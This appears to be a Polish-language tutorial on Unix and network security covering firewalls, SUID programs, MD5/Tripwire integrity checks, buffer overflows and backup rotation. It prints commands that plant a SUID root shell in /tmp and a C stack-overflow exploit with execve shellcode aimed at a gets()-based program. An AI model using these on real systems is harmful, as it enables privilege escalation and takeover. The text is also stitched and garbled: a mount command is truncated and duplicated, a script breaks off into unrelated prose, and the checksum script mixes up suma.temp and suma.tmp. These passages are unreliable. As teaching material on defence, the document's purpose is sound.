Usługa Network Address Translation (NAT), podobnie jak IP Gateway, pozwala klientom, którzy nie posiadają unikalnych adresów, korzystać z Internetu. Dodatkowo może pracować jako filtr pozwalający tylko na niektóre połączenia z zewnątrz i gwarantujący, że wewnętrzne połączenia nie będą inicjowane z sieci publicznej.
W celu precyzyjnego określenia praw rządzących dostępem do sieci tworzy się tak zwane listy reguł. Listy takie opisują prawa poszczególnych obiektów do korzystania z określonych usług/protokołów sieciowych, zezwalają na pewne rodzaje połączeń z zewnątrz jednocześnie zabraniając innych, mogą limitować liczbę połączeń z jakiegoś adresu albo ograniczać liczbę jednoczesnych połączeń. Przykładowo, kierownictwo firmy może zabronić pracownikom w określonych godzinach korzystania z usługi http z konkretnych miejsc sieci (co, oczywiście, jest decyzją polityczną). Edytor reguł jest narzędziem, przy pomocy którego budujemy i modyfikujemy zbiory reguł oraz wiążemy aplikacje z protokołami, a tym z kolei przypisujemy interfejsy sieciowe. Na użytek zaawansowanych administratorów tworzone są specjalne języki skryptowe, ułatwiające automatyzowanie konfigurowania serwera.
Integralną częścią systemów firewall jest mechanizm o zbliżonej roli do "czarnej skrzynki" w samolotach, śledzący i rejestrujący wszelkie wydarzenia w sieci. Dzięki monitorowaniu uwadze administratora z pewnością nie umknie, na przykład, 30-krotna nieudana próba zdalnego logowania się do systemu. Innym zastosowaniem jest analiza adresów, z którymi najczęściej nawiązywane są połączenia przez lokalnych użytkowników, gdyż dane takie są istotne do efektywnego skonfigurowania serwera proxy. Jednocześnie zarządca ma wgląd w dziennik błędów, gdzie zachowywane są ostrzeżenia o występowaniu wszelkich problemów z poprawnością transmisji. W przypadkach, gdy zachodzi uzasadnione podejrzenie, iż nastąpiło włamanie do sieci, system monitorujący może samodzielnie podjąć akcję zdefiniowaną przez administratora, na przykład decyzję o zerwaniu połączenia albo uruchomieniu "alarmu".
Każdy Firewall powinien posiadać co najmniej dwa adresy, więc wymagane będą dwie karty sieciowe lub inne interfejsy transmisyjne (np. porty szeregowe, modemy ISDN, karta sieciowa + modem). Jedno z urządzeń połączone jest ze strefą zdemilitaryzowaną (DMZ) a drugie z siecią prywatną. Interfejsy należy dobrać tak, aby nie zmniejszyć przepustowości łącza (np. w przypadku łącza FastEthernet dobieramy dwie karty 100Mb). Jeśli zdecydujemy się na darmowy Firewall działający pod Linuxem wystarczy komputer z 16MB RAM i 300MB partycją. Proste zapory ogniowe działające pod Windows 95 lub Windows NT mają wymaganie nie większe od systemu operacyjnego. Większe systemy komercyjne, jak Novell BorderManager potrzebują min. 48MB RAM (+500 KB RAM dla każdych 100 otwartych połączeń TCP przechodzących przez bamkę IP) i 250 MB miejsca na dysku. W celu zapewnienia poprawnego działania Proxy Cache należy zainstalować minimum 48 MB RAM i co najmniej dodatkowe 250 MB HDD w celu efektywnego wykorzystania pamięci podręcznej. Warto zwrócić uwagę, że przy dużej ilości połączeń obsługiwanych przez wszelkiego rodzaju Proxy Servers, dodatkowa pamięć RAM przyspieszy pracę.
Jeżeli w naszym systemie są przechowywane dane, których zniszczenie bądź ujawnienie wiązałoby się z poważnymi konsekwencjami, to taka podsieć powinna być izolowana i nie mieć fizycznego połączenia z siecią globalną. Gdy jednak jest to niemożliwe, należy zdecydować się na jeden z profesjonalnych systemów firewall. Zanim dokonamy takiego wyboru warto rozważyć następujące kwestie:
czy koszt inwestycji nie przekroczy wartości chronionych danych,
tanie lub darmowe systemy charakteryzują się zwykle wysokim kosztem instalacji, konserwacji, obsługi i administracji (np. oprogramowanie dla Linuxa), więc być może opłaci się zainwestować na początku w droższy ale łatwiejszy w eksploatacji produkt,
jaki poziom zabezpieczeń, monitoringu, kontroli jest rzeczywiście potrzebny,
jaki poziom ryzyka jesteśmy w stanie zaakceptować, jaki jest najbardziej pesymistyczny scenariusz w przypadku wtargnięcia intruza,
możliwości zdalnej konfiguracji i zarządzania systemem,
jakie usługi dodatkowe są nam potrzebne (VPN, IPX/IP Gateway, NAT).
W trakcie instalacji należy rozwiązać kolejne problemy:
czy użytkownicy Internetu będą wysyłać/przysyłać pliki do/z serwera firmy,
czy firma będzie udostępniać stronę WWW i czy nie warto serwera WWW wydzielić z zabezpieczanej sieci,
odpowiedni podział pracowników na grupy o różnych prawach do poszczególnych usług,
optymalny podział sieci na podsieci i przyłączenie ich do odpowiednich interfejsów.
Zalety:
ochrona systemu,
umożliwiają całej sieci korzystanie z jednego wspólnego adresu IP,
dają możliwość na podłączenie do Internetu systemom z protokołami innymi niż TCP/IP,
pozwalają monitorować połączenia WAN i ruch w sieci,
przy intensywnej pracy z WWW Proxy Cache Server pozwala zoptymalizować obciążenie na łączu WAN, a co za tym idzie - przyspieszyć pracę wielu osób,
zamiast wynajmować drogie międzymiastowe lub międzynarodowe linie dzierżawione możemy używać VPN i tańszych linii z dostępem do najbliższych węzłów sieci publicznej.
Wady:
ograniczają dostęp do sieci z Internetu,
wymagają częstych uaktualnień, gdyż nowe typy klientów sieciowych i serwerów przybywają prawie codziennie,
uniemożliwiają bądź utrudniają zdalne zarządzanie siecią,
mało wydajne serwery pośredniczące zmniejszają wydajność sieci.
Uruchomienie programu typu
SUID (set-UID) powoduje przyznanie uruchamiającemu prawa właściciela
programu. Technika ta jest wykorzystywana między innymi przy
programie passwd,
który ma właściciela root'a
i jest programem typu SUID. Dzięki temu w trakcie uruchomienia
programu passwd
mamy możliwość pisania do pliku /etc/passwd,
który normalnie ma tą możliwość zablokowaną. Aby programowi
nadać cechę SUID'a należy mu ustawić bit SUID czyli ósemkowo
4000. Tak samo sprawa przedstawia się z programami SGID, tyle że przy
nich otrzymujemy prawa danej grupy, do której należy ten
program. Bit SGID ustawia się podając ósemkowo 2000. ). UIDy
są 16-bitowe, zatem przyjmują one wartości od 0-65535.
Choć programy tego typu dają wiele dobrego, można dostać większe
uprawnienia na czas uruchomienia takiego programu, to jednak są też
potencjalnym zagrożeniem dla systemu. Jeśliby na przykład stworzyć
shell typu SUID z konta root'a
i nadać mu prawa do uruchamiania dla wszystkich, to każdy mógłby
dostać przywileje root'a
uruchamiając tego shella. Można to zrobić następującymi dwoma
komendami (mając dostęp do terminala root'a):
$cp /bin/sh /tmp/break
$chmod 4755 /tmp/break
W ten sposób w katalogu /tmp powstanie kopia shella sh typu SUID, dająca się uruchomić przez każdego użytkownika. Czyli każdy może być teraz root'em w tym systemie. Należy więc uważać aby takie wypadki nie miały miejsca, gdyż są poważnym zagrożeniem dla całego systemu. Jednym z rozwiązań tego problemu jest zamontowanie partycji jako nosuid, wtedy nie możliwe jest ustawienie bitu SUID dla plików znajdujących się na niej. Szczególnie należy uważać na systemy plików, które są podmontowywane z zewnątrz w czasie działania systemu, np. stacje dyskietek czy zdalne systemy plików udostępnione przez NFS. Takie systemy należy montować w następujący sposób:
# /etc/mount -o nosuid remote_host:/dir /home/dir
# /etc/mount -o nosuid remote_host: # /etc/mount -o nosuid remote_h
W ten
sposób unikamy działania programów SUID zainstalowanych
na podłączanym dysku. Bez tej możliwości łatwo można stworzyć na
dyskietce SUID'ową wersję shella, następnie zamontować tą dyskietkę w
systemie i uzyskać prawa root'a
w tym systemie.
Przykładem
popularnego programu SUID jest write,
program ten na czas wykonywania także dostaje prawa root'a,
dzięki czemu jest możliwe pisanie do terminali innych użytkowników
co jest w reguły zabronione.
Następnym problemem występującym przy programach typu SUID jest ich
bezpieczne pisanie. Zasadniczo należy unikać pisania takich programów
(a już na pewno niedopuszczalne jest pisanie skryptów SUID).
Czasem jednak zachodzi taka potrzeba i musimy mieć program typu SUID.
W tym przypadku należy pamiętać o kilku podstawowych zasadach
bezpieczeństwa, gdyż zagrożenie ze strony błędnie napisanego programu
SUID jest olbrzymie (szczególnie jeśli jego właścicielem jest
root ):
Pod żadnym pozorem nie należy pisać skryptów SUID. Skrypt taki można przerwać lub zawiesić otrzymując prawa właściciela.
Nie należy używać SUID'ów do uzyskania dostępu do niedostępnych plików, do tego celu służą grupy, lepiej jest utworzyć taką i przypisać tam potrzebnych użytkowników.
Jeśli program potrzebuje wykonać pewne funkcje jako root, ale ogólnie nie potrzebuje uprawnień SUID, należy rozważyć możliwość umieszczenia części uprzywilejowanej w osobnym programie i (bezpieczne) połączenie obu tych programów.
Nie należy korzystać w programie z domyślnej ścieżki dostępu do plików, lepiej podawać zawsze bezwzględną ścieżkę.
Aby mieć
pewność że w naszym systemie nie ma dodatkowych plików z
suid'em należy co pewien czas sprawdzać liczbę suidów na dysku
i porównywać ją z wzorcową bazą.
Można to zrobić w taki
sposób:
[root@localhost]# vi suidscan
#!/bin/bash
data=`date|awk 'begin {FS=" "} {print $2$3"-"$4}'`
find / -type f -perm -04000 2>/dev/null>~/$data
Działanie tego typu programów polega na obliczaniu odpowiednich sum kontrolnych dla zadanego pliku lub plików oraz ewentualnie sektorów. Zliczane sumy kontrolne są najczęściej przechowywane w osobnych plikach, tworzonych po pierwszym uruchomieniu programu. Jeżeli pliki te istniały już wcześniej, program antywirusowy wykorzystuje dane w nich zawarte, aby porównać sumę obliczaną na bieżąco z poprzednio zachowaną.
Suma kontrolna nie musi (a nawet nie powinna) być sumą arytmetyczną. Są to wartości numeryczne reprezentujące sumy bitowe plików. Często wykorzystuje się je przy transferach danych - strona otrzymująca porównuje sumę kontrolną z faktycznie otrzymanymi danymi i w ten sposób określa, czy podczas kodowania nie wystąpił błąd. Dzięki znajomości algorytmów stosowanych przez pewne programy antywirusowe niektóre wirusy potrafią zarazić plik i obliczyć dla niego nową sumę kontrolną, którą bez większych problemów można zastąpić pierwotną, przechowywaną w pliku.Piętą Achillesową programów zliczających sumy kontrolne jest to, iż pliki przechowywujące obliczone sumy nie są w żaden sposób chronione, dlatego wiele wirusów bezkarnie kasuje napotkane znane sobie pliki z sumami kontrolnymi.
Sumy kontrolne tworzy się w
celu wykrycia próby instalowania różnego rodzaju
trojanów i backdoor'ow. Aby mieć pewność, że zawartość
poszczególnych katalogów i plików nie zmienia
się należy co pewien czas generować sumy kontrolne katalogów i
porównywać je z wzorcami.
Do tego celu można wykorzystać
program md5sum, który zawiera implementację algorytmu MD5
opracowaną przez RSA. MD5 jest algorytmem tworzącym 128-bitowy podpis
cyfrowy dostarczonych danych (standardowy sum, czy cksum
tworzą tylko 16-bitowe podpisy). W tym wypadku nie ma praktycznej
możliwości stworzenia dwóch porcji danych o takim samym
podpisie cyfrowym, ani odtworzenia danych z określonego podpisu.
Algorytm MD5 wyjątkowo dobrze nadaje się do testowania spójności plików. Korzystają z niego narzędzia automatyzujące proces zarówno tworzenia początkowego "obrazu" systemu, jak i późniejszego porównywania ich ze stanem obecnym. Najbardziej znanym systemem tego typu jest Triware.
[root@localhost]# cat /var/spool/cron/root
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (root installed on Tue Apr 3 18:38:38 2001)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17
03:20:37M vixie Exp $)
10 * * * * /usr/sumk
Następnie trzeba utworzyć skrypt, który będzie generował sumy kontrolne i zapisywał je do pliku. Plik ten sprawdzany jest co 10s z wzorcami nagranymi na dyskietce. Jeśli rozmiar pliku "roznica" będzie różny od zera to zostanie wysłany list do administratora z komunikatem ALERT!!
[root@localhost]# cat /usr/sumk
md5sum /bin/* >/tmp/suma.temp
md5sum /usr/bin/* >>/tmp/suma.temp
md5sum /usr/sbin/* >>/tmp/suma.temp
md5sum /sbin/* >>/tmp/suma.temp
diff /tmp/suma.tmp /mnt/floppy/suma.src
>/tmp/roznica 2>&1
if [ -s /tmp/roznica ]
then
echo "ALERT!"|sendmail -v root@localhost
fi
rm -f /tmp/suma.tmp
cp /tmp/roznica /root/roznica
rm -f /tmp/roznica
Bardziej zaawansowanym
programem niż md5sum do sprawdzania integralności plików jest
pakiet Tripwire. Oprócz standardowego md5 zawiera także
algorytmy MD2,MD4,SHA/SHS,CRC-16,CRC-32,Snefru
Program z
pakietu Tripwire o nazwie siggen potrafi generować sygnatury
plików przy użyciu wszystkich wyżej wymienionych
algorytmów
Aby wygenerować sygnaturę wystarczy jako
parametr programu podać nazwę katalogu lub pliku.
Tripwire potrafi
pracować w 4 trybach:
tryb interaktywny
tryb sprawdzający integralność (sumy kontrolne)
generacja bazy danych
aktualizacja bazy danych
W programach napisanych w języku C często występują luki w bezpieczeństwie znane pod nazwą buffer overrun. Jest to poważny błąd w konstrukcji programu. Problem powstaje gdy program czyta z jakiegoś mało pewnego źródła danych do bufora o ustalonym rozmiarze, bez sprawdzania czy wczytywany ciąg nie jest dłuższy niż bufor. Włamywacz może przez dobranie odpowiedniej długości wysyłanego łańcucha nadpisać adres powrotu programu na stosie. Często ładowany do bufora jest również fragment kodu maszynowego, który przy przepełnieniu bufora i ustawieniu przy tym odpowiedniego adresu powrotu może zostać wywołany. Taki fragment kodu może spowodować przejecie dostępu do aktualnego konta. Z powodu tego ze wiele demonów systemowych wykonywanych jest z uprawnieniami administratora (root) może to powodować poważne problemy.
Przykład ataku z wykorzystaniem tej luki:
#include <stdio.h>
#define BUFFER 0xbffff7c0
#define ATTACK_IN_TARGET ((struct bomb *)BUFFER)
struct bomb {
char code[1024];
char *link;
char *retvalue;
char *table[3];
char echo[16];
char message[64];
} attack = {
"\xb8\x0b\0\0\0" /* movl $0x0b,%eax (execve) */
"\xbb\0\0\0\0" /* movl $0,%ebx (program) */
"\xb9\0\0\0\0" /* movl $0,%ecx (table) */
"\xba\0\0\0\0" /* movl $0,%edx (environment) */
"\xcd\x80", /* int $0x80 (linux system call interface) */
NULL, /* saved ebp */
(char *)BUFFER, /* saved eip */
{ATTACK_IN_TARGET->echo,
ATTACK_IN_TARGET->message,
NULL}, /* argument table for execve */
"/bin/echo",
"hacker wins!"
};
main() {
*(char **)(attack.code + 6) = ATTACK_IN_TARGET->echo;
*(char ***)(attack.code + 11) = ATTACK_IN_TARGET->table;
fwrite((void *)&attack, 1, sizeof attack, stdout);
}
Powodzenie w działaniu tego programu powoduje wywołanie komendy
/bin/echo hacker wins!
Bardziej realnym zastosowaniem jest na przykład wywołanie /bin/sh.
Program podatny na wykorzystanie zawiera w sobie konstrukcje typu:
main() {
char buffer[1024];
printf("buffer=%p\n", buffer);
gets(buffer); /* insecure! */
return 0;
}
Zwykle kompilator ostrzega przed popełnieniem podobnego przeoczenia.
Ta technika ataku zakłada znajomość rozmiaru bufora do przepełnienia. Jedna z możliwych technik obronnych jest deklarowanie bufora pod innym adresem za każdym wywołaniem programu. Uzyskuje się to przez zajmowanie losowej ilości miejsca na stosie zanim wykonana zostanie jakakolwiek inna akcja.
Oczywistym jest że wszelkie utraty danych pociągają za sobą straty finansowe. Czasem dane nie mogą być nawet odtworzone, na przykład wyniki jakiegoś eksperymentu. Ale częściej koszt odtworzenia danych jest tak duży że nie jest się w stanie sprostać temu pod względem finansowym.
Istnieją cztery podstawowe przyczyny utraty danych:
Awarie sprzętowe
Błędy programowe
Akcje człowieka
Katastrofy naturalne
Backup jest sposobem na zabezpieczenie danych. Przez posiadanie wielu kopii danych nie musimy przejmować się zniszczeniem jednej. Oczywiście każda z kopii narażona jest na niebezpieczeństwo utraty oddzielnie i praktycznie należy zakładać że wcześniej lub później ulegnie utraceniu.
Ważnym elementem w procesie zabezpieczania danych jest wybór medium. Trzeba rozważyć stawiane mu wymagania pod względem kosztu, szybkości, odporności, dostępności i łatwości obsługi.
Odporność powinna być wystarczająca do utrzymania danych przez lata. Dostępność powinna pozwalać na uzyskanie danych w miejscu i czasie w których są potrzebne.
Szybkość, w przeciwieństwie do łatwości obsługi, nie jest wymagana jeżeli kopie mogą być tworzone bez udziału człowieka.
W różnym stopniu wymagania te są spełniane przez dyskietki, dyski magnetyczne, magneto-optyczne i taśmy.
Wybór medium może też wpłynąć na wybór narzędzia to tworzenia kopii zapasowych. Tradycyjnymi narzędziami dla systemów UNIX są tar, cpio i dump.
Prosty backup:
zapisywane wszystko raz (full backup), potem zapisywane są zmiany wprowadzone od ostatniej operacji (incremental backup). Tworzenie pełnej kopii jest o wiele bardziej pracochłonne niż inkrementalnych.
Istnieje wiele opracowanych schematów tworzenia kopii zapasowych. Zależą one od wymagań stawianych przez pożądany stopień bezpieczeństwa danych.
Przykładowo, dla sześciu taśm wykorzystywanych do tworzenia kopii:
pierwsza taśma wykorzystywana jest na pełną kopię
taśmy 2-5 wykorzystywane są na kopie inkrementalne
jeżeli zapełnimy już piątą taśmę zaczynamy używać z powrotem taśmy numer dwa.
jeżeli zaistnieje potrzeba ponownego zrobienia kopii pełnej, używamy taśmy numer 6 i zmieniamy jej numer na 1, a numer taśmy 1 zmieniamy na 6
W ten sposób na taśmie numer 1 znajduje się aktualna kopia pełna, na taśmach 2-5 kolejne kopie inkrementalne, a na taśmie 6 poprzednia wersja kopii pełnej.
Wielopoziomowy backup
Prosty backup jest wystarczający do zastosowań o małych wymaganiach. Ma on tylko dwa poziomy: pełny i inkrementalny. Może to być uogólnione do dowolnej liczby poziomów. Pełny backup byłby poziomem 0, a kolejne inkrementalne miałyby numery 1,2, .... Na każdym poziomie inkrementalnym zapisuje się wszystko co zostało zmienione od ostatniej operacji na tym samym lub poprzednim poziomie.
Celem tego jest zapis dłuższej historii dokonanych dotąd zapisów w prosty sposób. Przy prostym backupie historia sięgała do poprzedniej kopii pełniej.
Wielopoziomowy backup może być zastosowany tez do minimalizacji czasu odtwarzania systemu. Jeżeli mamy wiele kopii z rosnącymi monotonicznie numerami poziomów należy odtworzyć wszystkie, żeby odbudować cały system plików. Zamiast tego można użyć numerów poziomów, które nie są monotoniczne i zmniejszyć ilość potrzebnych odtworzeń.
W celu minimalizacji ilości taśm do odtworzenia można użyć mniejszego numeru poziomu dla każdej kolejnej taśmy. Jednak czas tworzenia kopii wzrasta (każda kopie zawiera zmiany od utworzenia ostatniej pełnej kopii. Lepszym schematem jest użycie schematu poziomów: 3,2,5,4,,7,6,9,8,9 .... Ilość taśm wykorzystywanych w tym schemacie zależy od długości czasów pomiędzy zapisami, ale jest mniejszy niż w schemacie prostym. Jednak wprowadza konieczność zapisywania historii tworzenia kopii.
W każdym przypadku trzeba rozważyć korzyści płynące z obranego rozwiązania, czy rzeczywiście nakład pracy i środków będzie mniejszy.